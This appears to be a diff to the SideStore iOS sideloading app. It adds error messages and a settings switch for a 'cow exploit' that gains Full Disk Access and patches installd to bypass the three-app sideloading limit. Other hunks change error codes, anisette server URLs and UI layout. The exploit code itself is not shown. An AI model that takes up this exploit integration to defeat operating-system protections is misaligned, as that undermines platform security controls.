enum OperationError: LocalizedError
|
enum OperationError: LocalizedError {
|
||||||
{
|
|
||||||
static let domain = OperationError.unknown._domain
|
static let domain = OperationError.unknown._domain
|
||||||
|
|
||||||
case unknown
|
case unknown
|
||||||
@@ -45,6 +44,8 @@ enum OperationError: LocalizedError
|
|||||||
case functionArguments
|
case functionArguments
|
||||||
case profileInstall
|
case profileInstall
|
||||||
case noConnection
|
case noConnection
|
||||||
|
case cowExploitNoFDA
|
||||||
|
case cowExploitFailedPatchd
|
||||||
|
|
||||||
var failureReason: String? {
|
var failureReason: String? {
|
||||||
switch self {
|
switch self {
|
||||||
@@ -73,22 +74,21 @@ enum OperationError: LocalizedError
|
|||||||
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
||||||
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||||
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||||
|
case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "")
|
||||||
|
case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var recoverySuggestion: String? {
|
var recoverySuggestion: String? {
|
||||||
switch self
|
switch self {
|
||||||
{
|
|
||||||
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
|
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
|
||||||
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
|
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
|
||||||
let message: String
|
let message: String
|
||||||
|
|
||||||
if requiredAppIDs > 1
|
if requiredAppIDs > 1 {
|
||||||
{
|
|
||||||
let availableText: String
|
let availableText: String
|
||||||
|
|
||||||
switch availableAppIDs
|
switch availableAppIDs {
|
||||||
{
|
|
||||||
case 0: availableText = NSLocalizedString("none are available", comment: "")
|
case 0: availableText = NSLocalizedString("none are available", comment: "")
|
||||||
case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
|
case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
|
||||||
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
|
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
|
||||||
@@ -97,8 +97,7 @@ enum OperationError: LocalizedError
|
|||||||
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
|
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
|
||||||
message = prefixMessage + " " + baseMessage
|
message = prefixMessage + " " + baseMessage
|
||||||
}
|
}
|
||||||
else
|
else {
|
||||||
{
|
|
||||||
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
|
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
|
||||||
|
|
||||||
let dateComponentsFormatter = DateComponentsFormatter()
|
let dateComponentsFormatter = DateComponentsFormatter()
|
||||||
@@ -120,45 +119,45 @@ enum OperationError: LocalizedError
|
|||||||
|
|
||||||
func minimuxer_to_operation(code: Int32) -> OperationError {
|
func minimuxer_to_operation(code: Int32) -> OperationError {
|
||||||
switch code {
|
switch code {
|
||||||
case -1:
|
case 1:
|
||||||
return OperationError.noDevice
|
return OperationError.noDevice
|
||||||
case -2:
|
case 2:
|
||||||
return OperationError.createService(name: "debug")
|
return OperationError.createService(name: "debug")
|
||||||
case -3:
|
case 3:
|
||||||
return OperationError.createService(name: "instproxy")
|
return OperationError.createService(name: "instproxy")
|
||||||
case -4:
|
case 4:
|
||||||
return OperationError.getFromDevice(name: "installed apps")
|
return OperationError.getFromDevice(name: "installed apps")
|
||||||
case -5:
|
case 5:
|
||||||
return OperationError.getFromDevice(name: "path to the app")
|
return OperationError.getFromDevice(name: "path to the app")
|
||||||
case -6:
|
case 6:
|
||||||
return OperationError.getFromDevice(name: "bundle path")
|
return OperationError.getFromDevice(name: "bundle path")
|
||||||
case -7:
|
case 7:
|
||||||
return OperationError.setArgument(name: "max packet")
|
return OperationError.setArgument(name: "max packet")
|
||||||
case -8:
|
case 8:
|
||||||
return OperationError.setArgument(name: "working directory")
|
return OperationError.setArgument(name: "working directory")
|
||||||
case -9:
|
case 9:
|
||||||
return OperationError.setArgument(name: "argv")
|
return OperationError.setArgument(name: "argv")
|
||||||
case -10:
|
case 10:
|
||||||
return OperationError.getFromDevice(name: "launch success")
|
return OperationError.getFromDevice(name: "launch success")
|
||||||
case -11:
|
case 11:
|
||||||
return OperationError.detach
|
return OperationError.detach
|
||||||
case -12:
|
case 12:
|
||||||
return OperationError.functionArguments
|
return OperationError.functionArguments
|
||||||
case -13:
|
case 13:
|
||||||
return OperationError.createService(name: "AFC")
|
return OperationError.createService(name: "AFC")
|
||||||
case -14:
|
case 14:
|
||||||
return OperationError.afc
|
return OperationError.afc
|
||||||
case -15:
|
case 15:
|
||||||
return OperationError.install
|
return OperationError.install
|
||||||
case -16:
|
case 16:
|
||||||
return OperationError.uninstall
|
return OperationError.uninstall
|
||||||
case -17:
|
case 17:
|
||||||
return OperationError.createService(name: "misagent")
|
return OperationError.createService(name: "misagent")
|
||||||
case -18:
|
case 18:
|
||||||
return OperationError.profileInstall
|
return OperationError.profileInstall
|
||||||
case -19:
|
case 19:
|
||||||
return OperationError.profileInstall
|
return OperationError.profileInstall
|
||||||
case -20:
|
case 20:
|
||||||
return OperationError.noConnection
|
return OperationError.noConnection
|
||||||
default:
|
default:
|
||||||
return OperationError.unknown
|
return OperationError.unknown
|
||||||
|
|||||||
@@ -16,15 +16,13 @@
|
|||||||
<key>Key</key>
|
<key>Key</key>
|
||||||
<string>customAnisetteURL</string>
|
<string>customAnisetteURL</string>
|
||||||
<key>DefaultValue</key>
|
<key>DefaultValue</key>
|
||||||
<string>http://ani.sidestore.io</string>
|
<string>https://ani.sidestore.io</string>
|
||||||
<key>Titles</key>
|
<key>Titles</key>
|
||||||
<array>
|
<array>
|
||||||
<string>SideStore</string>
|
<string>SideStore</string>
|
||||||
<string>Macley (US)</string>
|
<string>Macley (US)</string>
|
||||||
<string>Macley (DE)</string>
|
<string>Macley (DE)</string>
|
||||||
<string>DrPudding</string>
|
<string>DrPudding</string>
|
||||||
<string>jkcoxson (AltServer)</string>
|
|
||||||
<string>jkcoxson (Provision)</string>
|
|
||||||
<string>Sideloadly</string>
|
<string>Sideloadly</string>
|
||||||
<string>Nick</string>
|
<string>Nick</string>
|
||||||
<string>Jawshoeadan</string>
|
<string>Jawshoeadan</string>
|
||||||
@@ -32,12 +30,10 @@
|
|||||||
</array>
|
</array>
|
||||||
<key>Values</key>
|
<key>Values</key>
|
||||||
<array>
|
<array>
|
||||||
<string>http://ani.sidestore.io</string>
|
<string>https://ani.sidestore.io</string>
|
||||||
<string>http://us1.sternserv.tech</string>
|
<string>http://us1.sternserv.tech</string>
|
||||||
<string>http://de1.sternserv.tech</string>
|
<string>http://de1.sternserv.tech</string>
|
||||||
<string>https://sign.rheaa.xyz</string>
|
<string>https://sign.rheaa.xyz</string>
|
||||||
<string>http://jkcoxson.com:2095</string>
|
|
||||||
<string>http://jkcoxson.com:2052</string>
|
|
||||||
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
|
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
|
||||||
<string>http://45.33.29.114</string>
|
<string>http://45.33.29.114</string>
|
||||||
<string>https://anisette.jawshoeadan.me</string>
|
<string>https://anisette.jawshoeadan.me</string>
|
||||||
|
|||||||
@@ -21,7 +21,7 @@
|
|||||||
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
||||||
<rect key="frame" x="0.0" y="1082" width="375" height="25"/>
|
<rect key="frame" x="0.0" y="1234" width="375" height="25"/>
|
||||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
||||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
@@ -168,7 +168,7 @@
|
|||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Join the beta" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="3Il-5a-5Zp">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Join the beta" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="3Il-5a-5Zp">
|
||||||
<rect key="frame" x="30" y="15.5" width="106" height="20.5"/>
|
<rect key="frame" x="30" y="15.499999999999998" width="106" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
@@ -208,7 +208,7 @@
|
|||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Background Refresh" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="EbG-HB-IOn">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Background Refresh" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="EbG-HB-IOn">
|
||||||
<rect key="frame" x="30" y="15.5" width="166" height="20.5"/>
|
<rect key="frame" x="30" y="15.499999999999998" width="166" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
@@ -244,7 +244,7 @@
|
|||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Add to Siri…" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="c6K-fI-CVr">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Add to Siri…" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="c6K-fI-CVr">
|
||||||
<rect key="frame" x="30" y="15.5" width="100.5" height="20.5"/>
|
<rect key="frame" x="30" y="15.499999999999998" width="100.5" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
@@ -276,7 +276,7 @@
|
|||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<subviews>
|
<subviews>
|
||||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="How it works" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="2CC-iw-3bd">
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="How it works" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="2CC-iw-3bd">
|
||||||
<rect key="frame" x="30" y="15.5" width="105" height="20.5"/>
|
<rect key="frame" x="30" y="15.499999999999998" width="105" height="20.5"/>
|
||||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
<nil key="highlightedColor"/>
|
<nil key="highlightedColor"/>
|
||||||
@@ -478,10 +478,50 @@
|
|||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
</cells>
|
</cells>
|
||||||
</tableViewSection>
|
</tableViewSection>
|
||||||
|
<tableViewSection headerTitle="" id="2em-H5-kgS">
|
||||||
|
<cells>
|
||||||
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="n3X-OX-idC" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
|
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="n3X-OX-idC" id="IVp-7k-KdM">
|
||||||
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
|
<subviews>
|
||||||
|
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable 3-app-limit bypass" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IY0-94-5LN">
|
||||||
|
<rect key="frame" x="30" y="15.5" width="214" height="20.5"/>
|
||||||
|
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||||
|
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<nil key="highlightedColor"/>
|
||||||
|
</label>
|
||||||
|
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="Oie-te-KSQ">
|
||||||
|
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||||
|
<connections>
|
||||||
|
<action selector="toggleenableCowExploit:" destination="aMk-Xp-UL8" eventType="valueChanged" id="tfb-kk-C17"/>
|
||||||
|
</connections>
|
||||||
|
</switch>
|
||||||
|
</subviews>
|
||||||
|
<constraints>
|
||||||
|
<constraint firstItem="IY0-94-5LN" firstAttribute="leading" secondItem="IVp-7k-KdM" secondAttribute="leadingMargin" id="07y-eS-INC"/>
|
||||||
|
<constraint firstItem="Oie-te-KSQ" firstAttribute="centerY" secondItem="IVp-7k-KdM" secondAttribute="centerY" id="1dS-uM-gb1"/>
|
||||||
|
<constraint firstItem="IY0-94-5LN" firstAttribute="centerY" secondItem="IVp-7k-KdM" secondAttribute="centerY" id="FyZ-BM-Ss0"/>
|
||||||
|
<constraint firstAttribute="trailingMargin" secondItem="Oie-te-KSQ" secondAttribute="trailing" id="I1v-Ub-eJJ"/>
|
||||||
|
</constraints>
|
||||||
|
</tableViewCellContentView>
|
||||||
|
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||||
|
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||||
|
<userDefinedRuntimeAttributes>
|
||||||
|
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||||
|
<integer key="value" value="0"/>
|
||||||
|
</userDefinedRuntimeAttribute>
|
||||||
|
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="NO"/>
|
||||||
|
</userDefinedRuntimeAttributes>
|
||||||
|
</tableViewCell>
|
||||||
|
</cells>
|
||||||
|
</tableViewSection>
|
||||||
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
||||||
<cells>
|
<cells>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="961" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
@@ -514,7 +554,7 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="921" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1012" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
@@ -550,7 +590,7 @@
|
|||||||
</connections>
|
</connections>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="972" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1063" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
@@ -586,7 +626,7 @@
|
|||||||
</connections>
|
</connections>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="1023" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1114" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
@@ -619,7 +659,7 @@
|
|||||||
</userDefinedRuntimeAttributes>
|
</userDefinedRuntimeAttributes>
|
||||||
</tableViewCell>
|
</tableViewCell>
|
||||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||||
<rect key="frame" x="0.0" y="1074" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="1165" width="375" height="51"/>
|
||||||
<autoresizingMask key="autoresizingMask"/>
|
<autoresizingMask key="autoresizingMask"/>
|
||||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
|
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
|
||||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||||
@@ -665,12 +705,13 @@
|
|||||||
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
||||||
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
||||||
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
||||||
|
<outlet property="enableCowExploitSwitch" destination="Oie-te-KSQ" id="jKn-t1-gyk"/>
|
||||||
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
||||||
</connections>
|
</connections>
|
||||||
</tableViewController>
|
</tableViewController>
|
||||||
<placeholder placeholderIdentifier="IBFirstResponder" id="SI0-mJ-Wad" userLabel="First Responder" sceneMemberID="firstResponder"/>
|
<placeholder placeholderIdentifier="IBFirstResponder" id="SI0-mJ-Wad" userLabel="First Responder" sceneMemberID="firstResponder"/>
|
||||||
</objects>
|
</objects>
|
||||||
<point key="canvasLocation" x="879" y="44"/>
|
<point key="canvasLocation" x="877.60000000000002" y="43.628185907046479"/>
|
||||||
</scene>
|
</scene>
|
||||||
<!--Settings-->
|
<!--Settings-->
|
||||||
<scene sceneID="L0E-XA-SxK">
|
<scene sceneID="L0E-XA-SxK">
|
||||||
|
|||||||
@@ -6,17 +6,17 @@
|
|||||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||||
//
|
//
|
||||||
|
|
||||||
import UIKit
|
|
||||||
import SafariServices
|
|
||||||
import MessageUI
|
|
||||||
import Intents
|
import Intents
|
||||||
import IntentsUI
|
import IntentsUI
|
||||||
|
import MessageUI
|
||||||
|
import SafariServices
|
||||||
|
import UIKit
|
||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
|
|
||||||
extension SettingsViewController
|
private extension SettingsViewController
|
||||||
{
|
{
|
||||||
fileprivate enum Section: Int, CaseIterable
|
enum Section: Int, CaseIterable
|
||||||
{
|
{
|
||||||
case signIn
|
case signIn
|
||||||
case account
|
case account
|
||||||
@@ -24,23 +24,25 @@ extension SettingsViewController
|
|||||||
case appRefresh
